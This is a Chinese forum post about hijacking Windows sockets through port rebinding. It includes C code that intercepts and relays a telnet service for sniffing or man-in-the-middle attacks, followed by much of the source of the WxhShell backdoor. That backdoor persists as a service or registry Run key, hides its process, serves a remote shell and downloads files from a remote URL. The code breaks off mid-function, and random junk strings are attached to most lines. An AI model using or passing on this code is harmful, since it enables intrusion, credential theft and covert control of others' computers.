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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [vT,zM  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?2/M W27w  
Bd[}A9O[  
  saddr.sin_family = AF_INET; $f\-.7OD  
vDb}CQ\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); pAL-P l9z  
`-\JjMSQ1  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \Vq;j 1  
`215Llzk;  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 he6) L6T  
Ct33S+y  
  这意味着什么?意味着可以进行如下的攻击: xef7mx  
,4$J|^T&  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 CK#PxT?"  
AY erz  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &^>r<~]  
QrA+W\=_`y  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 sZ$ ~abX  
0pz X!f1~  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  /! 3:K<6@  
L4-Pq\2  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Y'R1\Go-  
5jk4k c  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .U {JI\  
S-dV  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 rrq-so1u}  
'D{abm0  
  #include Q)8t;Kx  
  #include 7 4UE-H)  
  #include XcneH jpR  
  #include    $*ZHk0 7x  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Re>e|$.T  
  int main() }_TdXY #w\  
  { 8h 2?Q  
  WORD wVersionRequested; .;s4T?j@w  
  DWORD ret; ak&v/%N  
  WSADATA wsaData; hR{Zh>  
  BOOL val; EpMEA1=&  
  SOCKADDR_IN saddr; 6Z=H>w  
  SOCKADDR_IN scaddr; 6.=b^6MV  
  int err; 1j(,VW  
  SOCKET s; =jh:0Q<43+  
  SOCKET sc; upKrr  
  int caddsize; #nz$RJsX  
  HANDLE mt; 3~'F^=T.Y  
  DWORD tid;   RT9@&5>il  
  wVersionRequested = MAKEWORD( 2, 2 ); ^)I:82"|?  
  err = WSAStartup( wVersionRequested, &wsaData ); d_hcv|%  
  if ( err != 0 ) { Aed"J5[a  
  printf("error!WSAStartup failed!\n"); {F[Xe_=#"  
  return -1; %m`QnRX?D  
  } ij^!TY[0  
  saddr.sin_family = AF_INET; QkAwG[4  
   64@s|m*  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 r8$TT\?~  
QJ?!_2Ax  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); st>t~a|T  
  saddr.sin_port = htons(23); tp&iOP6O  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4dAhJjhgD  
  { }+1oD{  
  printf("error!socket failed!\n"); x.Y,]wis  
  return -1; Qa+gtGtJ  
  } UQ?8dw:E~  
  val = TRUE; T~E83Jw  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 `}l%Am  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ualtIHXK)  
  { biD7(AK  
  printf("error!setsockopt failed!\n"); f ;JSP  
  return -1; RCr:2 Iz  
  } 4{pa`o3  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; wr(?L7 $+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 |Rc#Q<Vh|  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 0XNb@ogo  
&2J|v#$F  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :W"ITY(  
  { 2)YLs5>W%  
  ret=GetLastError(); 5**xU+&  
  printf("error!bind failed!\n"); xl$ Qw'  
  return -1; u1l#k60  
  } 511q\w M  
  listen(s,2); Heu@{t.[!D  
  while(1) xh$[E&2u  
  { b;vO`  
  caddsize = sizeof(scaddr); y-mmc}B>N  
  //接受连接请求 xC(PH?_  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^8)d8?}  
  if(sc!=INVALID_SOCKET) *k -UQLJ  
  { Z"u/8  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3 a`-_<  
  if(mt==NULL) TEtZ PGFl  
  { B=7L+6  
  printf("Thread Creat Failed!\n"); WD:5C3;  
  break; ns-x\B?^  
  } FgxQ}VvlH  
  } wpdT "  
  CloseHandle(mt); v*pVcBY>  
  } R0WJdW#  
  closesocket(s); sXTO`W/  
  WSACleanup(); X9J^Olq  
  return 0; tP9}:gu  
  }   '4iu0ie>D  
  DWORD WINAPI ClientThread(LPVOID lpParam) N*#SY$!y  
  { "F&uk~ b$  
  SOCKET ss = (SOCKET)lpParam; ?`xId;}J#7  
  SOCKET sc; {sLh=iK  
  unsigned char buf[4096]; [(hENX}o :  
  SOCKADDR_IN saddr; rlq8J/0/+  
  long num; qXW 5_iX  
  DWORD val; B!Y;VdX  
  DWORD ret; z|Xl%8  
  //如果是隐藏端口应用的话,可以在此处加一些判断 OoE@30+  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   97lwPjq  
  saddr.sin_family = AF_INET; <}evOw2  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); R!O'DM+  
  saddr.sin_port = htons(23); AbB%osz}Ed  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +J2=\YO  
  { iH2|w  
  printf("error!socket failed!\n"); 2neiUNT  
  return -1; ev>: 3_ s  
  } $ _zdjzT  
  val = 100; (Q@+W |~  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T SOt$7-  
  { [30<  0  
  ret = GetLastError(); +XsY*$O  
  return -1; 0F"xU1z,  
  } _\[Zr.y  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `'~|DG}a  
  { B!:(*lF  
  ret = GetLastError(); 9%x[z%06  
  return -1; B|8(}Ciqx  
  } )|:|.`H  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) [p(Y|~  
  { >y1/*)O9~  
  printf("error!socket connect failed!\n"); "ey~w=B$M  
  closesocket(sc); W>Zce="_gN  
  closesocket(ss);  @>BFhH  
  return -1; yCwQ0|  
  } +s`n]1HC  
  while(1) wJ{M&n1H  
  { &.d~ M1Mz  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .; :[sv)  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 TygR G+G-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 _c[t.\-`]  
  num = recv(ss,buf,4096,0); IuPwFf)  
  if(num>0) X/?3ifP6I  
  send(sc,buf,num,0); rXA7<_Vg  
  else if(num==0) Zcc6E2  
  break; xD1w#FMlQs  
  num = recv(sc,buf,4096,0); C6GYhG]  
  if(num>0) *F=w MWa  
  send(ss,buf,num,0); /7*u!CNm  
  else if(num==0) Tmq:,.^}  
  break; BONM:(1  
  } &0M^UvO  
  closesocket(ss); 98x(2fCvF(  
  closesocket(sc); WFtxEIrl3j  
  return 0 ; (d_{+O"  
  } i2EB.Zlv  
qV5ME #TJ  
TzVNZDQ`Jl  
========================================================== [~ fJ/  
Fe: 0nr9;  
下边附上一个代码,,WXhSHELL MSw/_{  
0LxA+  
========================================================== ;gf^;%FK  
w+P bT6;  
#include "stdafx.h" 1'M< {h<sP  
RzXxnx)]q  
#include <stdio.h> o <sX6a9e  
#include <string.h> /z6NJ2jb  
#include <windows.h> ]e R1 +Nl  
#include <winsock2.h> |FH/Q-7[  
#include <winsvc.h> jh9^5"vQ  
#include <urlmon.h> IS"UBJ6p  
,_p_p^Ar\4  
#pragma comment (lib, "Ws2_32.lib") ]ZZ7j  
#pragma comment (lib, "urlmon.lib") JTrxh]  
6X)8vQH  
#define MAX_USER   100 // 最大客户端连接数 C)Mh  
#define BUF_SOCK   200 // sock buffer G.1pg]P!  
#define KEY_BUFF   255 // 输入 buffer M++*AZ  
A-uEZj_RD=  
#define REBOOT     0   // 重启 r'-)@|  
#define SHUTDOWN   1   // 关机 Jo_h?{"L{  
?:~ `?  
#define DEF_PORT   5000 // 监听端口 wC;N*0Th  
]e 81O#t3  
#define REG_LEN     16   // 注册表键长度 R:zjEhH )  
#define SVC_LEN     80   // NT服务名长度 8 z\WyDz  
cvi+AZ=  
// 从dll定义API C^]bXIb  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Bx;bc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); dX` _Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Qr$ uFh/y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); x-Yt@}6mvl  
@:X~^K.  
// wxhshell配置信息 H"6:!;9,  
struct WSCFG { p\~ lPXK  
  int ws_port;         // 监听端口 \%f4)Qb  
  char ws_passstr[REG_LEN]; // 口令 27}k63\  
  int ws_autoins;       // 安装标记, 1=yes 0=no S-g`rTx  
  char ws_regname[REG_LEN]; // 注册表键名 $wAVM/u&  
  char ws_svcname[REG_LEN]; // 服务名 L9&Z?$6J_p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 t: r   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <5G*#0gw  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i e%ZX  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j?#S M!f  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1P@&xcvS\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J8~3LE )G  
WADNr8.  
}; g.Z>9(>;Y  
~\(U&2t  
// default Wxhshell configuration r)q6^|~47  
struct WSCFG wscfg={DEF_PORT, E XEae ?  
    "xuhuanlingzhe", Xb5n;=)  
    1, h{VCx#!]  
    "Wxhshell", bo`w( h_  
    "Wxhshell", Fn yA;,*  
            "WxhShell Service", #P<v[O/rA  
    "Wrsky Windows CmdShell Service", JEGcZeq)  
    "Please Input Your Password: ", Wl?*AlFlk  
  1, @?f3(G h,  
  "http://www.wrsky.com/wxhshell.exe", x/R|i%u-s  
  "Wxhshell.exe" JstX# z  
    }; 6uOR0L  
 0'%R@|  
// 消息定义模块 9co1+y=i{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; O\-cLI<h2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 48Z{wV,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; kb Odg:  
char *msg_ws_ext="\n\rExit."; LEKN%2  
char *msg_ws_end="\n\rQuit."; <$K%u?  
char *msg_ws_boot="\n\rReboot..."; zH.DyD5T;  
char *msg_ws_poff="\n\rShutdown..."; SzMh}xDh2  
char *msg_ws_down="\n\rSave to "; H@.j@l  
!Yz~HO,u+  
char *msg_ws_err="\n\rErr!"; ym{?vY h  
char *msg_ws_ok="\n\rOK!"; .YKQ6  
/|bir6Y:  
char ExeFile[MAX_PATH]; "n=`{~F  
int nUser = 0; 120<(#  
HANDLE handles[MAX_USER]; |JtdCP{  
int OsIsNt; FU E/uh  
[j`It4^nC  
SERVICE_STATUS       serviceStatus; ZjF$zVk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~ucOQVmz@  
?TLMoqmXM{  
// 函数声明 _A;jtS)SY  
int Install(void); l%oie1g l  
int Uninstall(void); ]Jq1b210  
int DownloadFile(char *sURL, SOCKET wsh); eh&?BP?  
int Boot(int flag); o5-oQ_ j  
void HideProc(void); !FX;QD@"  
int GetOsVer(void); *}$T:kTH  
int Wxhshell(SOCKET wsl); ![18+Q\  
void TalkWithClient(void *cs); 50F6jj  
int CmdShell(SOCKET sock); C7[_#1Oz  
int StartFromService(void); TwqyQ49  
int StartWxhshell(LPSTR lpCmdLine); |)B&-~a+p  
@{:E&K1f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *1$rg?yGf  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )0 .gW  
6Y>MW 4q  
// 数据结构和表定义 &&\ h%-Jc  
SERVICE_TABLE_ENTRY DispatchTable[] = DvKM[z3j  
{ dw5.vXL`  
{wscfg.ws_svcname, NTServiceMain}, n{6XtIoYq  
{NULL, NULL} 6@t4pML  
}; h7)^$Hd  
.DMeW i  
// 自我安装 R#"kh/M  
int Install(void) <!v^Df  
{ y+)][Wa0  
  char svExeFile[MAX_PATH]; 5hUYxF20h8  
  HKEY key; 8$io^n\i  
  strcpy(svExeFile,ExeFile); |CexP^;!U  
47ppyh6@  
// 如果是win9x系统,修改注册表设为自启动 0m(/hK  
if(!OsIsNt) { rW0# 6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { . p^='Kz?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eu@-v"=w  
  RegCloseKey(key); O5CIK}A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L=O,OS+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Cg?D<l4  
  RegCloseKey(key); #'^!@+)  
  return 0; tV<}!~0,*  
    } KwndY,QD  
  } gYn1-/Z>I  
} Ol`/r@s  
else { N6S0(%  
s4<[f%^  
// 如果是NT以上系统,安装为系统服务 9x0B9&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ( \{9W  
if (schSCManager!=0) r  /63  
{ mT <4@RrB  
  SC_HANDLE schService = CreateService YAv-5  
  ( 2 :u4~E3  
  schSCManager, 22"M#:r$  
  wscfg.ws_svcname, f ?_YdVZ  
  wscfg.ws_svcdisp, ^o+2:G5z}  
  SERVICE_ALL_ACCESS, bHH{bv~Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *6s B$E_y  
  SERVICE_AUTO_START, " ;_bB"q*  
  SERVICE_ERROR_NORMAL, !@{_Qt1  
  svExeFile, ^>gRK*,  
  NULL, GNS5v-"H  
  NULL, [u;]J*  
  NULL, kj~)#KDN  
  NULL, -==@7*x!Z  
  NULL ~ ' 81  
  ); BG_m}3j  
  if (schService!=0) p%EU,:I6  
  { .Qg!_C  
  CloseServiceHandle(schService); kSv?p1\@&P  
  CloseServiceHandle(schSCManager); $qYtN`b,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d/!sHr69  
  strcat(svExeFile,wscfg.ws_svcname); "IA[;+_"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c[}h( jkP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C '4u+raq  
  RegCloseKey(key); B$1nq#@  
  return 0; 1k6f|Al -  
    } Wp/!;  
  } *[*LtyCQt4  
  CloseServiceHandle(schSCManager); R/R[r> 1)6  
} \[Op:^S  
} i;;CU9`E2q  
gV1&b (h  
return 1; .'mmn5E  
} "%dWBvuO  
3Q*K+(`{  
// 自我卸载 \Si@t{`O  
int Uninstall(void) 58,_  
{ g6o-/A!Q3  
  HKEY key; *M\Qt_[  
!/znovoD  
if(!OsIsNt) { 6e&Y%O'8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]`0(^)U &  
  RegDeleteValue(key,wscfg.ws_regname); W Y_}D!O  
  RegCloseKey(key); XeX0\L')R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I~H:-"2  
  RegDeleteValue(key,wscfg.ws_regname); pXL_`=3Q  
  RegCloseKey(key); M>P-0IC  
  return 0; ;ZPAnd:pb  
  } .%_scNP  
} $%ZEP> ]  
} X&nkc/erx  
else { %Ez%pT0TQ#  
O|m-Uz"+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3.U5Each-  
if (schSCManager!=0) zB/$*Hd  
{ sJg-FVe2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uy)iB'st&  
  if (schService!=0) >DVjO9Kf  
  { u4bPj2N8I  
  if(DeleteService(schService)!=0) { p)vyZY[  
  CloseServiceHandle(schService); EQ1wyKZS2g  
  CloseServiceHandle(schSCManager); GQhzQM1HS  
  return 0; :A $%5;-kO  
  } |C?<!6.QmV  
  CloseServiceHandle(schService); <use+C2  
  } ke_Dd?  
  CloseServiceHandle(schSCManager); 8.HqQ:?&2t  
} c) Zid1  
} &?YbAo_K  
QE[ETv  
return 1; 6 DqV1'  
} &MsnQP  
V^B'T]s  
// 从指定url下载文件 U4qp?g+:  
int DownloadFile(char *sURL, SOCKET wsh) Z2~;u[0a[  
{ ,pE{N&p9  
  HRESULT hr; Zm& X $U  
char seps[]= "/"; L^3~gZ  
char *token; ,u7: l  
char *file; Lo _5r T"  
char myURL[MAX_PATH]; K Art4+31  
char myFILE[MAX_PATH]; D@*<p h=  
?VS(W  
strcpy(myURL,sURL); c7X5sMM,  
  token=strtok(myURL,seps); b/cc\d<  
  while(token!=NULL) T5?@'b8F6  
  { `=0}+  
    file=token; Q!(16  
  token=strtok(NULL,seps); tNg}: a|J  
  } ]u  4  
KZUB{Y^)  
GetCurrentDirectory(MAX_PATH,myFILE); fw kX-ON  
strcat(myFILE, "\\"); $HT {}^B  
strcat(myFILE, file); e8 4[B.  
  send(wsh,myFILE,strlen(myFILE),0); [}q6bXM*  
send(wsh,"...",3,0); ;W,XP#{W  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \M(0@#-$C  
  if(hr==S_OK) Eh&*"&fHR  
return 0; 0G ^73Z  
else |S[Gg  
return 1; LPX@oha  
{;1Mud  
} 4<fKB&  
(@@t,\iF  
// 系统电源模块 S"0<`{Gv  
int Boot(int flag) 3<sYxA\?w  
{ pE<dK.v6  
  HANDLE hToken; pe$" nUy|  
  TOKEN_PRIVILEGES tkp; p9rnhqH6  
PB00\&6H  
  if(OsIsNt) { 'bVDmm).  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `K37&b;`[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); f(!:_!m*  
    tkp.PrivilegeCount = 1; 5D 9I;L{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; '1{co/Y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *m6~x-x  
if(flag==REBOOT) { oG~a`9N%C  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hw ]x T5  
  return 0; eFS;+?bu  
} =EwC6+8*M  
else { H"lq!C`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) kSoa '  
  return 0; $}RBK'cr}  
} gBb+Q,  
  } XM o#LS  
  else { N@Pf\D  
if(flag==REBOOT) { '*H&s  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \g& P5  
  return 0; Hh`x>{,|S  
} `7$0H]*6  
else { ~x;1&\'k  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) a[d6@!  
  return 0; l2Z!;Wm(  
} @)=\q`vV  
} $?RxmWsP  
&6 .r=,BO  
return 1; uz-O%R-  
} veX#K#  
+I1>; {{  
// win9x进程隐藏模块 CUIT)mF:  
void HideProc(void) 6S7 =+>  
{ TpXbJ]o9  
j"o8]UT/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s8;/'?K  
  if ( hKernel != NULL ) t;X  !+  
  { AX=$r]_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {`~uBz+dJq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W&>ONo6ki  
    FreeLibrary(hKernel);  JwEQR  
  } 9>,$q"M}?  
Y&M}3H>E  
return; fui;F"+1  
} {jB& e,  
ajB4 Lj,:r  
// 获取操作系统版本 ?t<yk(q  
int GetOsVer(void) FVw;`{  
{ g2Pa-}{  
  OSVERSIONINFO winfo; NvCq5B$C  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S9BwCKH  
  GetVersionEx(&winfo); \yDr  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :f<:>"<  
  return 1;  g=W1y  
  else K[} 5bjh>  
  return 0; k~ Z9og  
} -pEt=  
qQ\&]  
// 客户端句柄模块 V`:iu n^f  
int Wxhshell(SOCKET wsl) J*HZ=6L  
{ Si=zxy T  
  SOCKET wsh; qy@v, a  
  struct sockaddr_in client; UC&f  
  DWORD myID; D|m] ]B  
rjsqXo:9  
  while(nUser<MAX_USER) 'u"r^o?  
{ e<F>u#d  
  int nSize=sizeof(client); MP"Pqt  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hH Kd+QpI  
  if(wsh==INVALID_SOCKET) return 1; ` s [77V>  
m"3gTqG  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D}4*Il?  
if(handles[nUser]==0) d@-s_gw  
  closesocket(wsh); g Mhn\  
else um.s :vj$  
  nUser++; .CU~wB@h  
  } 7O)j]eeoL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [fVtQ@-S!  
E(t:F^z&D  
  return 0; MPSoRA: h  
} vm,/?]P  
_g{*;?mS  
// 关闭 socket ynkPI6o  
void CloseIt(SOCKET wsh) J*4byu|  
{ }M_Yn0(3  
closesocket(wsh); #"PI%&  
nUser--; (H=7(  
ExitThread(0); z +NxO !y  
} oEfy{54  
@|A w T  
// 客户端请求句柄 c;RB!`9"  
void TalkWithClient(void *cs) &dA{<.  
{ [Ol}GvzJ7  
#fT1\1[]  
  SOCKET wsh=(SOCKET)cs; 1E3'H7k\t  
  char pwd[SVC_LEN]; B^8]quOH  
  char cmd[KEY_BUFF]; y9<]F6TT  
char chr[1]; <$m=@@qg  
int i,j; HI+87f_Q  
c{7<z9U  
  while (nUser < MAX_USER) { . Y@)3  
w?u4-GT  
if(wscfg.ws_passstr) { H~fX >6>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m5Q?g8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y~ubH{O#  
  //ZeroMemory(pwd,KEY_BUFF); -v]v m3Na  
      i=0; F|Y}X|x8Q  
  while(i<SVC_LEN) { BgPwIK x  
'j6)5WL$  
  // 设置超时 "0BuQ{CQ  
  fd_set FdRead; ">$.>sn{  
  struct timeval TimeOut; |q0MM^%"  
  FD_ZERO(&FdRead); [):&R1U  
  FD_SET(wsh,&FdRead); Y@&1[Z  
  TimeOut.tv_sec=8; {R5{v6m_  
  TimeOut.tv_usec=0; s> d /9 b  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X9:4oMux7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); g7>p,  
8Xo`S<8VS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1w30Vj2<  
  pwd=chr[0]; :Ng4? +@r  
  if(chr[0]==0xd || chr[0]==0xa) { ;|nC;D]  
  pwd=0; [X9s\H  
  break; drv"I[}{A  
  } MXQ S6F#  
  i++; WnATgY t  
    } u+U '|6)E  
I\8f`l  
  // 如果是非法用户,关闭 socket |dLA D4%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A4kYE A  
} ez2rCpA  
K/^70;/!.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d5b \kRr  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4tZnYGvqe  
(YOp  
while(1) { f76bEe/B9  
BkZmE,  
  ZeroMemory(cmd,KEY_BUFF); 1m$< %t.>  
EUVB>%P  
      // 自动支持客户端 telnet标准   d-cK`pSB  
  j=0; ="M7F0k  
  while(j<KEY_BUFF) { 0O_acO 4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \I3={ii0  
  cmd[j]=chr[0]; ]7#@lL;'0  
  if(chr[0]==0xa || chr[0]==0xd) { \QpH~&QIS  
  cmd[j]=0; ,{KjVv<  
  break; *jAw  
  } i2h,=NHJh?  
  j++; >n`!S`)9{  
    } C^dnkuA  
Gp<7i5  
  // 下载文件 ;p$KM-?2D  
  if(strstr(cmd,"http://")) { k@,&'imx  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y~R['u,  
  if(DownloadFile(cmd,wsh)) tks3xS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); g%Yw Dr=0t  
  else =K#12TRf  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9)_fH6r  
  } :yLSLN  
  else { X?RnP3t~  
nWrkn m  
    switch(cmd[0]) { \|OW`7Q)k  
  y)5U*\b  
  // 帮助 f,e7;u z%  
  case '?': { "q-,140_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :tc]@0+  
    break; qQL]3qP  
  } c(]NpH in  
  // 安装 !W^b:qjJ  
  case 'i': { btQDG  
    if(Install())  :RYh@.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z / YF7wrx  
    else m/2LwN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EPY64 {  
    break; dWg09sx  
    } #D{jNSB  
  // 卸载 319 &:  
  case 'r': { L}>XH*  
    if(Uninstall()) im}=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6b-j  
    else )$h<9e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A;pVi;7  
    break; %J_`-\)"{~  
    } b IS 3  
  // 显示 wxhshell 所在路径 *1Q~/<W  
  case 'p': { dHE\+{K%-  
    char svExeFile[MAX_PATH]; LuLnmnmB  
    strcpy(svExeFile,"\n\r"); g?(h{r`  
      strcat(svExeFile,ExeFile); OZHQnvZ  
        send(wsh,svExeFile,strlen(svExeFile),0); ws{2 0  
    break; L(a){<c  
    } 71nI`.Z  
  // 重启 yAge2m]<B  
  case 'b': { rPk=9I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); r306`)kX  
    if(Boot(REBOOT)) qyfw$$X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d[b(+sHp a  
    else { YW|KkHi*  
    closesocket(wsh); "IK QFt'  
    ExitThread(0); **zh>Y}6  
    } (c{<JYEC  
    break; rUb`_W@  
    } NAy3Zd}  
  // 关机 ^'UJ&UfX  
  case 'd': { B/*`u  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r%*UU4xvB  
    if(Boot(SHUTDOWN)) z}Qt6na]-  
